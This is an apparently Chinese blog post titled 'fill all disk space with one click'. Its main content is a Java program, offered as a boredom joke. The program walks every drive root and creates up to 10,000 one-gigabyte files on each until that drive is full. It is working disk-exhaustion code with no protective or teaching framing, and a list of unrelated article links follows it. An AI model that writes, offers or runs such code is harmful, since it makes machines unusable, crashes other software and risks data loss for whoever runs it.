一键填满所有磁盘空间
2016-01-22 15:31
323 查看
实在太无聊了. 就.....
import java.io.File; import java.io.IOException; import java.io.RandomAccessFile; public class Test { public static void main(String[] args) throws IOException { File[] file1 = File.listRoots(); for (int k = 0; k < file1.length; k++) { String path = file1[k].getAbsolutePath(); path = path.substring(0, path.length() - 1); File file = new File(path + "/文件我最大/"); if (!file.isDirectory()) { file.mkdir(); } for (int i = 0; i < 10000; i++) { File file3 = new File(path + "/文件我最大/" + i); if (!file3.exists()) { file3.createNewFile(); RandomAccessFile rac = new RandomAccessFile(file3, "rw"); try { rac.setLength(1073741824); } catch (Exception e) { break; } rac.close(); } } } } }
相关文章推荐
- 基数排序
- APK瘦身实践
- POJ 2586 Y2K Accounting Bug
- IOS开发知识(八)
- Android Spinner控件的简单应用
- 航电ACM step1.2.3 Box of bricks
- 分布式日志集中化(tomcat + rsyslog + logrotate + centos)
- ActionContext类与ServletActionContext类操作request域、session域内的属性
- 设计模式之享元模式
- AngularJS中有关Directive的汇总
- 判断请求是不是ajax
- 表格隔行换色
- 深入解析C++编程中基类与基类的继承的相关知识
- IOS开发知识(七)
- 【整理】unity3d优化总结篇
- HDOJ 2030 汉字统计
- 常用正则表达式大全
- material progressbar颜色设置
- Hadoop入门程序WordCount的执行过程
- Android中发现java代码设置的字体过大